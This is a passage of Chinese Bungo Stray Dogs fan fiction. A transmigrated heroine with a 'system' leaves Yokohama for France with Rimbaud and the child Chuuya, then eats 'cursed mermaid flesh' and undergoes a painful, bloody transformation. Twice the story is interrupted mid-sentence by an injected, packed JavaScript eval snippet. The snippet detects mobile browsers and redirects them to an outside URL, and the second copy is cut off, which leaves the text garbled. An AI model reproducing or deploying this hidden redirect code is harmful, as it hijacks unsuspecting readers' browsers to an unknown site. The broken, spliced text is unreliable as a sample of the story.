在感情上有些执拗的兰波温柔的看着琉璃:“不知道哦,不过跟琉璃在一起,我真的真的很快乐,所以无论是意外也好,还是因为什么旁的也好,都没关系了。” 追究那些做什么呢。 见兰波的确不在意,我才将话题转移到那个孩子身上:“话说那个孩子多大了?” 兰波猜测道:“好像是七、八岁的样子,是个有些莽撞的孩子,等到接我们的人来了,我再去将那个孩子带回来。” 柔软的阳光透过窗户洒在兰波身上,让本就穿着浅色衣裳的兰波更像是在闪闪发光一样,连瞳孔都好像变成了金色一般吸引着他人目光,我听了兰波的话,却无奈的起身:“等到人家过来再把那个孩子带过来多不好呀,小孩子有自己的朋友,你一句话就像将人家带走,一点都不像你了。” 说到这里,我突然反应过来,这家伙好像的确不是什么从里到外一如既往温柔的存在。 兰波眼神飘忽一瞬,而后垂眼一副委屈的模样:“可是这里是我们两个的家呀,让一个外人进来,我会难过的。” 兰波承认,自己始终都是没有安全感的,可琉璃也说过,她会永远偏爱自己的。 所以即便自己试探,那也是琉璃允许的吧?兰波如此想。 看着兰波委屈的模样,我倒不觉得有什么,毕竟兰波一直都是这样没有安全感的样子,只是从前没有记忆的他会更直接的说出自己的不安,而如今的他兴许是有了一点哥哥的包袱,所以会试图在一旁默默的等我发现。 我拍了拍兰波的头,将他的头发扎成个方便行动的丸子头,“分明只有我跟兰波在的地方才是我们两个的家吧,而且人家只是个小朋友吧……” 我伸出手捏了捏兰波的脸:“不要对小孩子做出这副样子啊,人家还是个孩子呢,快动身将人家带过来呀,或者我跟你一起去?” 说着,我倒是有些跃跃欲试了,毕竟马上要离开横滨,我自然也想看看横滨的地标建筑或者景色之类的…… 兰波本来其实不情不愿,但听了妹妹竟然也想去那种地方,即便有信心能保护好妹妹,却也还是不希望妹妹去接触那些地方,这才爽快答应下来。 见兰波出去接人,我方才轻哼一声。 系统默默吐槽:【你们两个这种关系怎么感觉这么别扭呢?】 我有些惊讶系统竟然能发觉不同,便糊弄道:【人类是这样的,亲情友情爱情交织,就像是你之前说兰波被背刺,根据刚刚兰波的话和你给出的线索,可以得出背刺兰波的人就是兰波的搭档魏尔伦,那你看兰波现在难道会恨魏尔伦吗?】 爱恨交织才是常态啊。 【身为系统,这方面你还有的学啦。】 系统想想也是,毕竟自己不是人类,有些地方不能理解也是正常的。 我将自己要带的衣物和一部分洗漱用品放在行李箱里,思前想后还是选择将那个装着照片的盒子放进了行李箱里。 虽然系统说身份都是虚构的,身体也是系统按照自己审美捏出来的,但是为防万一,作为一个孩子,就算跟父母关系再冷淡,在要离开父母长居之处时,应该也不会什么都不带。 准备好要带走的物品后,我方才彻底放松下来。 法国,前世我倒是没有去过,毕竟花国已经足够大了,而且工作之后假期我恨不得睡个昏天黑地,哪里还有心思去这里那里游玩呢? 来到异世界之后,我倒是能够前往这个前世我不曾去到的地方了,也不知道那里如何,兰波会不会因为失忆被那边的官方怀疑。 我胡乱想了些有的没的,手上做着简单的小甜点,打算等之后分享给那个孩子尝尝。 毕竟流浪这么久,之后又要去往一个陌生的国度,趁现在能让他开心些就让他开心些好了。 哦对,还有衣服,我找出了一些‘我’小时候穿的偏中性的衣物,打算等之后让那个孩子先委屈一下,毕竟我们大概明天就会离开,如果去临时购买衣物的话还不如等到了法国那边再购买或者定做。 兰堂有钱能定做,那兰堂的搭档先生应该也是差不多的。 兰波出 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中也身上穿的衣服看上去有些发白,应当是那些大孩子身上完好的衣物给了年纪小的孩子们,这倒不奇怪,就是我从前还在孤儿院的时候也是如此。 兰波虽然在感情上有些偏执,但在中也这样的孩子面前却也收敛了些,教导中也如何使用淋浴、洗漱用品,又将我找出来的衣服送了进去,而后方才凑到琉璃身边小声道:“你觉得中也以后做什么好?” 经过魏尔伦背刺一事后,兰波也吃到了教训,打算吸纳一下身边人的意见。 比起自己从小离开家庭被老师带大,比起魏尔伦被不熟练的自己带歪,比起由于异能力所以对什么事情都有些厌倦的老师和那些不靠谱的同僚,兰波认为还是妹妹更靠谱些。 我听了兰波的话微微挑眉,手上调整着脖颈上项链的位置,透着镜子与兰波对视:“中也还是个孩子没错吧?” 兰波颔首:“中也心智比实际看上去要小一些。” 我也不问为什么会如此,而是反问兰波:“为什么不送孩子去读书呢?” 身为一个花国人,我不太理解:“读书,上学,这才是这个年纪的孩子最该做的事,如果担心中也跟不上的话,那就请家教先自学两年好了。” 我对若有所思的兰波提醒:“但是你跟我都不是这个孩子的监护人,如果我没猜错,中也之后大概会在魏尔伦先生的监护下生活,我们可以在一旁给出建议,可总不能强制要求魏尔伦先生如何吧?” 兰波肯定道:“没错,但是我可以尽力劝说。” 中也在手,不怕魏尔伦那家伙不听话,大不了就找个空旷的地方打一架,物理说服他,自己打不过还可以玩群殴,亚空间里那些人偶又不是看着玩玩的。 “上学之后肯定能认识志同道合的朋友,无论能不能一直陪伴彼此,成为互相为对方送葬的友人,可朋友跟兄长带来的意义是不一样的。”我感慨道:“兰波应该也能理解吧,步入大学之后明明感觉变化的不多,但大家都好像是一夜之间都成熟了一样,心口不一起来。” 在家自学后只参加了一次考试就拿到学位、平日里要面对许多心口不一甚至不知道效忠几个老板的间谍、要前往他国刺探情报被人骂没脸没皮的情报人员兰波面不改色:“是啊,成长的确是一瞬间的事,不过魏尔伦有些执拗,而且中也的异能力与魏尔伦十分相似……之后上面大概会有些异议。” 我指使兰波将厨房内的小蛋糕和冰箱里照着视频做的杨枝甘露拿出来,“魏尔伦先生我并没有接触过,就不过多点评了,但如果是为了中也的未来着想,我想即便魏尔伦先生站的立场与你我不同,可也会为了孩子的未来妥协的。” 毕竟为了这个孩子都背叛老搭档了,再为孩子退一步也不算什么,都是为了孩子嘛。 “而且你也说了,中也的异能力只是与魏尔伦类似,我不了解这些,毕竟我连自己的异能力是什么都还没弄清楚,但是。”我看向若有所思的兰波:“你认为尚且年幼,不曾掌控能力的中也,和已经熟练掌控能力的成年人魏尔伦先生比起来,你是当权者,你会更偏爱谁呢?” 6. 飞机(修文) 毫无疑问,只要脑子没有问题,都会好好对待中原中也,用以牵制魏尔伦,手里牵着小的,指挥着大的,按照之前系统对异能力者的定义而言,即便异能力者年老也不会失去这种他们天然便拥有的能力,相反,一部分超越者甚至是因为经年累月使用能力,越发熟知,方才成为公认的超越者的。 所以只要法国那边的人脑子还没进水,就不可能做出什么逼迫之类的…… 但也说不准,毕竟外国嘛,我又没去过,天晓得是什么情况。 似乎是顿悟了一般,兰波又恢复了那副黏糊糊的样子,我走到哪里,视线就跟随到哪里,直到中也出来,才稍有收敛。 也是,怎么说也是成年人了,又跟人家哥哥交好,想维持点颜面还是…… 我面无表情吃下兰堂喂的水果,只觉得就算是这种清甜的草莓都变得如同嚼蜡一般。 可恶的兰波,在小孩子面前竟然都不打算收敛!法国人都是这样的吗?不应当啊! 小小的中也穿着短袖短裤,面露不解,眼带震惊的看着对面自称是自己哥哥好友的男人和很温柔的琉璃小姐之间亲密的举动,陷入了沉思之中。 擂钵街外面的兄妹原来是这么亲密的吗?那擂钵街是不是有些落后了? 兰波笑吟吟的看着妹妹逐渐生气,怒火翻涌的模样,被恶狠狠的琉璃瞪了一眼才转头没再做出那些会让妹妹生气的事来。 哎呀,看来在外人面前妹妹还是脸皮太薄了,这不好,日后去了法国要是被那些没脸没皮的人凑上来哄骗了可怎么办。 我已经懒得去想兰波在想些什么了,但是看着兰波拿着刚刚喂我吃水果的银叉自己慢悠悠吃起来,连换都不换的时候,还是觉得这家伙有些太过分了。 明明新的叉子就放在桌子上啊!抬手就能碰到的! 系统察觉我的想法,阻拦了我想骂兰波的念头,并反问我:【你确定你骂了他一顿,他不会爽到吗?】 我沉默了,一时间竟然不敢自信回答。 【按照这家伙恢复记忆后越来越过分的行为,你真的认为你骂了他一顿会让他收敛吗?】 完全不会啊亲!你清醒一点,只要没说开那就睁一只眼闭一只眼糊弄过去就算了!实在不行就睡了他又能如何?就他那张脸,你又不亏!分手了之后你走了不就更加无牵无挂了吗?两全其美啊!没分手?没分手那就当他是个小猫小狗好了,反正这家伙自己会哄好自己的。 看穿一切的系统成为琉璃身边的狗头军师试图献策。 忽略了系统后面的指点,我对于兰波的行为终于还是没再说什么。 看见兰波有些失望的模样,系统幽幽道:【看见了吧,我就说只要抱上这家伙的大腿,我们就能走简易模式,反正任务时间也没有要求,我们主线任务是成为被人尊敬的超越者/准超越者,支线任务也是我来做,主线任务失败支线任务成功我们也能有足够的积分跳转世界,所以你一定要忍住啊!起码要攒够能跳跃到下个世界的积分,不然这个男鬼真的会一直追着你的!】 眼瞧着中也扛不住疲惫睡着了,我方才小声问兰波:“兰波的异能力是什么?” 有着如海藻般弯曲长发的男人顶着丸子头,撑着脸笑吟吟道:“是彩画集。” 我感觉有些耳熟,但想半天又想不起来耳熟在哪里,最后放弃思考,点点头看着兰波。 兰波也没有跟我卖关子,轻声解释道:“琉璃知道亚空间吗?” 我想了想被我挤压到边边角角的那些知识,犹豫道:“是那个跟现实世界平行存在的独立能量空间?” 兰波颔首,“我的能力彩画集,就是操控亚空间。” 还能获取尸体记忆依靠记忆将对方变成记忆组建的、有自己意识但完全受自己操控的人偶这种事就不要说出来了,以免吓到妹妹。 对琉璃有奇怪滤镜的兰波遮遮掩掩,最后小小的将自己是超越者的事告知了琉璃。 我面无表情:“所以说来说去,到底什么是超越者啊。” 你都不讲清楚,系统也说的模模糊糊,我压根对这个都没有详细概念诶。 “能够左右一场战争的结果,如若失控最少能影响一国,能够绝对掌握自身异能力的强大存在,就被称为‘超越者’。” 身穿黑色西装,薄荷绿头发的男人不知何时坐在了兰波对面。 兰波抬眼看了一眼,而后便对我说:“就是这样,你只需要知道,但凡能成为超越者的存在,都是被各国当成人形核武器一样的存在就足够了。” 我看了看兰波,又看了看兰波对面坐着的男人,“虽然我知道兰波你没有动作肯定是因为对面的人你认识没错,但身为主人的你竟然不打算招待一下客人吗?还有,他是谁啊?” 兰波听着琉璃认为自己也是家里主人的话,得意极了,只觉得自己琉璃果然还是偏爱自己,之前才会跟自己闹脾气。 而不等兰波开口,早就对波德莱尔口中那个救了失忆的兰波被兰波认作妹妹打算带回法国的女士感到好奇的巴蒂斯特看向被兰波隐隐护着的小小姐,躬身道:“您好啊,小小姐,我是让-巴蒂斯特·波克兰,您叫我巴蒂斯特就好,说不准日后我们会经常见面呢。” 言罢,巴蒂斯特张张嘴,又被兰波冷冷看向自己的目光将到了嘴边夸赞的话又咽了回去,笑吟吟与藤原琉璃互相问好后,方才坐下。 不过巴蒂斯特心里却很是惊讶,虽然在来之前就已经从波德莱尔口中得知兰波对这位小小姐观感极好,但往常即便是魏尔伦这个搭档和波德莱尔这位老师也不见兰波如此维护啊。 巴蒂斯特来了兴趣,但碍于兰波还在,所以也不敢多做什么。 毕竟兰波这家伙看上去虽然是个辅助,也就做做情报工作,当个谍报员,但过往那些年里这家伙亚空间里到底读取了多少人的记忆,又有多少人的尸体被兰波当作傀儡留在亚空间里当成底牌,怕是连波德莱尔那家伙都不清楚。 巴蒂斯特虽然好奇,但也不想在异国他乡给自己找活干。 法国人嘛,松弛才是常态,要不是兰波说自己身边还带着一个任务目标,波德莱尔估计只会让兰堂自己坐飞机回去。 想起魏尔伦脸黑了想跑过来却被人按下的样子,巴蒂斯特就想笑。 当谁不知道这家伙怎么想的一样,要不是兰波挡着,波德莱尔又是兰波的老师,背景雄厚,早就有人挑刺了,哪可能会这么平和。 找到人了,巴蒂斯特也看向在沙发上睡得安稳的那个孩子,“这就是任务目标?一个孩子竟然让你险些折戟?” 远东这种小地盘又不是隔壁东方大国,兰波竟然能在这上面栽跟头?巴蒂斯特觉得这里有鬼。 我起身正要离开避嫌,兰波便拉着我的手示意我坐下,而后对巴蒂斯特平静道:“这孩子的异能力来源于魏尔伦。” 兰波也想让魏尔伦栽个跟头,但最终还是暂时放下了,搭档之间的事还是慢慢解决好了,魏尔伦也还是个孩子,只是一时间想歪了而已。 边想,兰波边与巴蒂斯特解释自己为什么会断联,手上安抚着妹妹。 我坐立难安,最后选择摆烂。 算了,反正都这样了,焦虑有个屁用,还不如找个舒服的姿势坐着。 放空身心的靠着兰波,直到两个人聊完正经事,兰波方才侧头与我轻声道:“走吧,行李放到了哪里?” 巴蒂斯特挑挑眉,“你穷到这份上了?” 妹妹都认了,过了波德莱尔的明路了,连个衣服首饰都舍不得给妹妹买? 我示意兰波去抱着中也,别把孩子叫醒,而后将楼梯旁的行李箱拉了过来,解释道:“兰波之后肯定要忙碌工作吧?我对衣服没有什么要求,正常的能穿就可以了,就算要买,也没必要在兰波还忙碌的时候让他陪我啊,之后空闲下来再说衣服的事就好。” 至于首饰?我对那个更多时候不会选择佩戴,而是喜欢观赏,而且我平时也就是戴戴珍珠之类的小配饰而已,没什么需要特意保存带走的东西。 那句话怎么说来着,喜欢的东西我不一定要拥有,只静静的看着也会感到满足。 唯一比较挑剔的,就是饮食了,如果没有美食,我大概宁愿原地去世也不可能继续做什么任务之类的,不过兰波也知道我这个毛病。 边想,我边看着兰波将中也叫了起来,而后转头接过我手里的行李箱。 “兰波——”我怒视着兰波,拉长声音。 兰波拙劣做出什么都不知道的模样让我更是一股无名火涌上心头。 中也揉揉眼睛,左看看右看看,最后牵着我的手交给兰波,他又伸出小小的手拉着我,嘴上说着:“琉璃小姐,我们快走吧,不是说飞机已经到了吗?” 我被中也的行动拉回了理智 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075309|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对着兰波做了个抹脖子的动作,打算之后再算帐,兰波却难得对这个孩子看顺眼了些,开口解释:“私人飞机,什么时候走都没关系,只是为防万一,最好还是尽快离开比较好。” 毕竟远东这样的小地方就连个准超越者都拿不出来,更别提超越者了,踪迹没有明显显露出来之前倒是没有关系,如果被人发现,要么灭口,要么就会上升到国际问题。 虽然没什么好怕的,但兰波也不打算给祖国惹什么麻烦…… 嗯……妹妹不算,中也的话交给魏尔伦,到时候一个超越者预备役,有点小麻烦也没关系,外交部会解决的。 巴蒂斯特就这么看着兰波跟那位琉璃小姐带着任务目标跟一家三口似的,半点都没有搭理自己的意思就要离开,耸耸肩连忙跟了上去。 直到飞机起飞,巴蒂斯特方才跟巴黎公社其他人吐槽,认为兰波不是认了个妹妹,而是带了个情妹妹回法国。 巴蒂斯特:完全就是陷入情爱之中的样子,明明兰波以前对这些都不感兴趣的。 维克多:之前不是有人提出吊桥理论?会不会是一时间情感爆发,将恐惧当成了爱情? 伏尔泰:或许是巴蒂斯特你看错了也说不准? 普吕多姆:我个人认为按照兰波的工作效率以及上面派发工作的速度来看,很可能不是不想,而是没有时间也说不定。 法国嘛,主打的就是松弛,罢工月月有,被当成核武器的超越者们就算工作时摸鱼也没人说什么,毕竟很多事都是无法被替代的,慢一点就慢一点了,就算失败也没关系,只要大事上不出错就行。 所以巴蒂斯特一吐槽,就达到了一呼百应的效果。 对于同僚们的反驳,巴蒂斯特不发一言,静静的拍了张图片放到聊天室内。 照片内,任由少女折腾自己头发的青年男人眼中满是明晃晃的怜爱之意,他轻轻侧头,像是正跟身旁的少女说着话,黑发绿眼的少女体型较男人而言有些娇小,肤色白皙,脸上带着笑意,低头正给男人编着麻花辫,脖颈上带着做成橄榄枝模样的金属项圈,肩上松散披着件黑色风衣,似是完全没有察觉到男人眼中的情绪一般,姿态很是放松。 最后面还能看见个捧着电脑似乎是在打发时间的小孩子,只不过太矮了又在边缘,注意到的人寥寥无几。 巴蒂斯特发出照片后,选择询问自己这些经验丰富的同僚。 巴蒂斯特:这就是你们说的不可能,没有问题,兰波是多年的情报人员不会出错吗? 一句话,让所有人哑口无言。 夏尔:唔……挺漂亮的,但是成年了吗? 身为兰波的老师,波德莱尔认为一个人花心、去红灯区、甚至懒散都不是问题,但对未成年下手,真的不行。 巴蒂斯特沉默了,小声问兰波:“琉璃小姐今年多大了?” 兰波头也不抬:“十七岁。” 巴蒂斯特强忍着没有露出异样表情,镇定地与一旁飞机上的服务人员吩咐:“不要让琉璃小姐接触酒精跟酒精制品。” 暗中观察巴蒂斯特的兰波这才继续转头与琉璃说着话。 而巴蒂斯特则是回到飞机上的房间里,对同僚们宣布消息。 巴蒂斯特:@夏尔,恭喜,兰波带回来的琉璃小姐只有十七岁。 巴蒂斯特:顺带吐槽一下,兰波这家伙占有欲这么强吗?我只是问了一下人家多大,就一直盯着我,要不是我急中生智让人不要给那位小小姐上酒水估计兰波之后就要找我约架了。 夏尔:…… 普吕多姆:我个人认为这不好,不过那位琉璃小姐是有什么突出的优点吗?失忆的兰波选择留下我可以理解,但是为什么恢复记忆后兰波坚持将人带回来? 为此波德莱尔可是连红灯区都不去了,就怕是不是兰波中了什么异能力,还特意将能探查这方面的异能力者给叫了过来。 没人能回答普吕多姆,就连巴蒂斯特都没有回应。 毕竟巴蒂斯特坐下统共不到一个小时就又上了飞机,能够发现端倪都是因为兰波压根没有隐藏的念头,至于发现什么真善美之类的…… 因为自身是超越者的原因被许多贵族、富商家中少爷小姐表白过的巴蒂斯特认为兰波这家伙应该不输自己,毕竟兰波还有个好老师。 不过如果是这样的话,那兰波为什么会这么执拗呢?真是奇怪。 7. 赌博(修文) 因为是私人飞机,所以机舱内有配备齐全的房间,我跟中也一个是真.未经训练,另一个是才七岁不到八岁的孩子,远远比不过兰波跟巴蒂斯特一样熬了这么长时间还这么有精神,累了自然要休息。 飞机上也没有什么危险,兰波倒是难得没有跟过来,让我有了些私人空间。 想到这里,我不免沉默了。 多陌生的描述啊,明明以前的兰堂是个小白花来着,结果到了兰波就超进化变成男鬼了。 从前兰波也是这么个脾性吗?他身边的人都是怎么忍下兰波的啊? 我躺在床上睡不着,便开始胡思乱想。 不知什么时候睡着,等再醒来我就已经躺在了柔软的床上,周围的装潢也都是奢华的欧式风格。 柔软的白色丝绸床单垂落在图案繁复的地毯上,四周垂落轻薄的纱幔挡着光,我轻轻掀开纱幔,便瞧见我的行李箱被放在床脚。 目测整个房间少说也有百余平,我起身便瞧见兰波放在床头柜上的便签。 大致说的便是由于工作原因要晚归,如果我醒了可以用手机打床头柜上小册子里的电话,无论是管家还是厨师别墅内都齐备,厨师是兰波拜托老师请来的花国厨师,兰波自己的电话已经存在了手机内,别墅坐落在庄园内,如果想闲逛就让管家带领,以免迷路,中也被送到了他哥哥那里,不用担心。 系统见琉璃看完了留言,这才正色道:【支线任务的进度已经有了百分之七的进度,按照这个速度,五年之内我们就可以跳转前往下一个世界了。】 我明白系统的意思,由于我前往的世界是不可控的,任务也是未知的,所以系统希望我能够趁着当前世界还算安全尽快将锻炼身手学会自保拉上日程。 但理解归理解,我的能力我还是搞不清楚,先前好不容易说动兰波带我训练,结果才摸出来一点点大概的规律,兰波就恢复记忆了。 到了法国人生地不熟的……想要做点什么就更艰难了。 我思索了片刻,转头放下轻薄的纱幔和外层黑红色的帷幔,而后坐在床上跟系统商量:【实在不行你暗示我一下,我怎么才能将异能力激发出来,不让兰波把我当成什么手无缚鸡之力的家伙。】 虽然我的确没什么能耐,连兰波一只手估计都打不过,但兰波那种把我当成手无缚鸡之力的态度还是让我难以琢磨。 明明这家伙是法国的谍报员没错吧?我也不是什么举世无双的美人让人见了就想秘藏起来,怎么兰波态度奇奇怪怪的。 我的直觉告诉我,如果我不做出什么举动,兰波大概就会越来越过分。 这种事情还是不要为好,不是说我有多讨厌兰波,相反的,留着黑色长卷发,面容清俊又阴郁,宛若连绵不断春雨一般的兰波完完全全长在我的审美点上,身材看上去纤瘦,但只不过是因为没有特意往浑身遍布大块肌肉的方向锻炼而已,脱下外套就能看见实际的身材如何了。 说不喜欢那是假的,但我面对亲人和朋友都还好,一旦转变到爱人身上,那就完了。 三分钟热度最后分手跟兰波分道扬镳这种事还是不要出现为好。 对自己勉强还算有些清晰认知的琉璃微微目移。 真正无条件偏爱琉璃的系统全当自己不知道,闭口不谈什么异能力,而是掏出系统商城后对琉璃暗示:【有些时候要先付出,才能得到,就像是兰波与你的相遇一样。】 边说,系统边挑挑拣拣将一块标签名称为【被诅咒的人鱼肉】详情界面方到了我面前。 嘴上说:【虽然之后我还能给你捏身体没错,但是捏出来的还是比不得你锻炼出来的,太高级的咱们买不起,这个人鱼肉是一位巫女命名的,实际上这是拥有龙脉的鲛人之肉,只要你吃下去,你就拥有了鲛人的寿命、特性和攻击手段!】 具体遗传什么品种的鲛人,完全随缘了,反正就算是那种没有锋利鳞片与爪牙,只有飘逸鲛纱的鲛人也不是一般人能比拟的。 尤其自己绑定的宿主来自与古老的东方大国,那个国家的人类族上或多或少都跟异族有过联系,要是宿主身上有异族的血脉能被激发,只要宿主能忍住扛过疼痛,就能慢慢进化成为长生种。 我听懂了系统的意思,思来想去,打算赌一把。 反正回去暂时是回不去了,系统也不会害我,再痛能痛到哪里去呢? 尚未遭受毒打的我如此天真的想着,而后闭眼将那块洁白细嫩的肉块吞咽入肚,连尝都没敢仔细尝,只觉得那肉一进嘴里,就化作了一滩水似的溜进了腹中。 系统连忙提醒:【之后你会很痛,非常痛苦,但是不需要你强忍,就算是睡过去也没关系,我会用积分护住你的,只要熬过去,我们就能进化了!】 我此时还没有察觉到严重性,点点头斗志昂扬:【只要熬过去,我就不用担心兰波感情变质了!】 系统沉默了一下而后想了想那个男鬼,最后肯定道:【没错!一定要坚持!】 一通操作猛如虎,我跟系统都十分乐观,可直到原本细密如蚂蚁啃噬骨头的痒变成血肉好像都在被分割的痛后,我们两个方才察觉到不对。 “痛……”我倒在床上,浑身痛的没有力气,只能低低喘着气。 系统翻出止痛药给我喂下,可却丝毫不起作用,我连喊痛的力气都没有,浑身上下都没冷汗浸湿,正当疼痛缓缓减少时,系统与我都以为是终于结束了,可更猛烈的疼痛却打了我一个猝不及防。 尖锐急促的叫声将管家等人吸引了过来。 由于兰堂临走前的吩咐,所以上到管家下到园丁都做好了为这位琉璃小姐介绍庄园各处的准备,可这般尖锐急促又突兀消失的尖叫,却让众人不免为琉璃祈祷起来。 千万不要出事,不然他们就要被超越者大人扔进海里钓鱼了! 管家本就在房间附近徘徊等待被叫进卧室中,自然是到的最快的。 可一进门,浓烈的血腥气便让管家眼前一黑。 女仆长紧随其后,深吸一口气后对老搭档道:“你快去联系大人,我去看看小姐的情况。” 说是这么说,但就这个一开门都不用进内就能闻到血腥之气的情况,两个人心里已经开始苦中作乐思考起葬礼要怎么办了。 我浑身上下的皮肤宛若被割裂了一样,手臂上与腰腹之下都是鱼鳞形状的伤口,脸上不用摸,只轻轻呼吸便知道跟腿上应当也差不了什么,比起手臂和腰腹之下,上半身的伤口更为无序,也比鱼鳞伤口更深。 我听见了开门的声音,但已经没了力气说话,只能祈祷那些人不会被吓走。 帷幔被一位身穿黑白女仆装,大约四十左右的女人卷起,我眨眨眼,见她没被吓走,反倒高声说起我听不懂的话来,我才有了些自己身在法国的实感。 询问是否有人潜入庄园袭击您的女仆长没有得到回应,这才让被这惨烈景象占据的大脑暂时恢复了理智,回想起这位小姐来自远东之地,应当不会法语,就算会,以这种情况也很难开口出声。 女仆长上前小心探查,在看见被鲜血浸湿大半的床时,下意识察觉到不对,转头让管家快联系超越者大人。 “这位琉璃小姐似乎是异能力失控了。”女仆长从前跟随波德莱尔,后来被波德莱尔放到兰波身边照顾兰波,对异能力者们的情况十分了解。 管家心下了然,犹豫过后还是选择联系兰波。 虽然谁都知道这个时候兰波肯定在述职,但是他跟女仆长都不是异能力者,而兰波又是肉眼可见的重视这位琉璃小姐,即便可能是无用功,但管家也不可能一点措施都不去做。 已经述职完毕,正在巴黎公社跟同僚们争吵如何对待中原中也的兰波携魏尔伦舌战群雄。 不过这争吵的水分有多大,那就只有参与其中的人才能察觉了。 毕竟大家抬头不见低头见的,比起上头那些政客们,大家自然会悄咪咪的偏向同为超越者的同僚了。 再说了,魏尔伦都不在意自己的基因被盗取凭空多了个弟弟,他们那么激动干什么,摸摸鱼不好吗? 正吵得厉害,兰波的电话突然响了起来。 满堂鸦雀无声。 就连背刺过兰波之后转头又跟兰波因为弟弟和好一致对外的魏尔伦都沉默了。 毕竟按照正常情况下大家开会的规矩,手机无论什么消息都是一概需要静音的,但兰波这里突然进来一通电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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强迫加入的魏尔伦已经足够叛逆了,旁人不知道雨果三人还是清楚魏尔伦和兰波是什么情况的,波德莱尔十分肯定,只要他们拿中原中也说事,魏尔伦就能立刻解放异能化为魔兽。 两败俱伤还不如糊弄糊弄上面,就拿怀柔政策来应付好了,反正最后怎么做不还是他们说了算,上头懂个屁。 魏尔伦十分不解,如果这就结束了,那他之前背刺搭档的行为算是什么? 想起兰波将帽子交给自己,并轻声说这顶帽子可以防止旁人掌控自己时的表情,魏尔伦难得对过往自己对人类、对兰波的猜忌感到一丝质疑。 只是兰波目前离开,魏尔伦也只能将这些想法藏进心里。 伏尔泰面容柔和,一双宝石绿的眼中带着笑意,“异能暴动,你们说那个小姑娘的异能力会是什么?” 波德莱尔不做回答,毕竟兰波是他的学生,无论好坏他都能知晓,到最后他也得帮着扛住上面的压力。 想到这里,波德莱尔本就疲惫的面容更添了几分冷意。 本来一切都好好的,前有继父为自己保驾护航,中有自己的异能力被上头看重,下还有自己的徒弟继承衣钵,可为什么兰波都是超越者了,自己还要为兰波担心这担心那? 还有那个魏尔伦!他是魅魔吗?兰波是被恶魔蛊惑了吗?怎么被背刺差点死在横滨还不打算像个成年人一样独立行走?! 雨果见了,便平静道:“谁知道呢,既然异能暴动,应当也是有潜力的,说不准就是我们捡了漏呢。” 波德莱尔轻哼一声,如鲜血般红艳的双眼微微眯着:“什么捡漏,人家是自然成为法国国籍的,如果她的父母还在世,早就来法国定居了。” 伏尔泰笑眯眯的捅刀:“然后兰波就要在横滨流浪了,保不准什么时候才能恢复记忆呢。” 巴黎公社内众人三三两两聚在一起说话,而匆匆赶回庄园的兰波看见房内满地血液、琉璃面色苍白倒在床上无人敢靠前的模样,只觉心慌。 察觉到有人坐到床边,我轻轻抬眼,见是兰波,勉强弯了弯唇角,表示自己还活着,而后便继续忍受着疼痛。 别说什么可以睡觉之类的蠢话,就是感冒严重时都有难受的睡不着的时候,更何况是这样实打实的疼痛了。 一滴水珠落在我身上,流进伤口之中,我本应疼痛,却因长久的麻木而无半分波动。 我抬眼,见兰波不敢碰我,眼眶含着眼泪,这才攒着力气小声说:“别担心,我……感觉还好。” 言罢,我便继续阖眼忍受着一次比一次更为强烈的疼痛。 兰波正懊恼刚刚为什么不将能够缓解琉璃疼痛的同僚带来,便瞧见魏尔伦带着人站在阳台之上对自己点头。 8. 鲛人 兰波与魏尔伦对视,而后匆忙擦掉眼泪,让圣埃克苏佩里来到床前。 戴着橙黄色羊毛围巾的男人见到房内景象,不免好奇:“所以这位小姐的异能力到底是什么?” 旁人异能力失控大都是影响外界,少有影响自己的,不是说没有,就是比较少,而在少数之中,能因为异能力暴动导致自己奄奄一息的这算是头一个了。 圣埃克苏佩里上前查探琉璃的情况,兰波紧紧盯着,魏尔伦瞥了一眼,并不在意,只是静静站在一旁,静静看着兰波担忧的模样。 我察觉有人触碰我,睁眼看见兰波在一旁,便没去管,而是静静等待身体疼痛减缓。 圣埃克苏佩里正要解释,便见少女像是瞧见什么足以让她安心的存在,又放松下来。 房内总共也就这么几个人,能被少女信任的是谁显然不必多想。 身穿绿衣的金发小男孩检查过后,缓缓摇头,主动消失回到异能力构造的世界之中。 兰波心里咯噔一下,圣埃克苏佩里忙解释:“这位小姐是异能力暴动接近尾声,由于是朝着好方向发展的,所以这种时候反而不适合插手,最重要的是……” 圣埃克苏佩里指了指房间中不知何时聚成一团的水流,感受着干燥的空气,轻笑道:“这位小小姐柔弱的外貌只是欺骗我们这样小瞧了她的无知之辈而已,她坚韧的内心与不屈的意志足以让任何人知晓,无需插手。” “静静等待吧。”圣埃克苏佩里如此定论后,便跑到床边沙发上坐下,拿着手机不知道在做什么。 兰波懒得管魏尔伦,毕竟都这么大的人了,有了弟弟也该成熟起来了,不需要他过多关注,妹妹就不一样了。 虽然圣埃克苏佩里说了是往好方向的变化,但对于兰波而言,只要不看见琉璃安好,他是不会安心的。 魏尔伦见兰波没有理会自己,也并没说什么,只是走到一旁寻了个沙发坐下,时不时抬眼看一眼兰波。 什么?超越者难道不需要工作?当然要啦,不过现在可是同僚家里的妹妹出事的大事件欸!身为同僚,他们怎么能这么没有爱心?肯定要过来关心一二啊! 圣埃克苏佩里:我感觉这位琉璃小姐似乎也是个超越者的苗子呢。 雨果:细说。 圣埃克苏佩里组织了一下语言,而后方才将自己的判断说出。 圣埃克苏佩里:小王子告诉我,这位琉璃小姐的异能力之所以一直没有显露,只是因为她过的太幸福了。 一句话成功将潜水人员炸出了大半。 伏尔泰:什么叫太幸福了?这年代还有因为太幸福所以察觉不到自己有异能力的异能力者吗? 波德莱尔:不要卖关子,不然派你去跟英国交涉:) 圣埃克苏佩里:真没幽默细胞。 圣埃克苏佩里:按照小王子的意思,这位琉璃小姐反倒是因为异能力强大,所以需要身体体质也强大,才能觉醒真正异能力的存在。 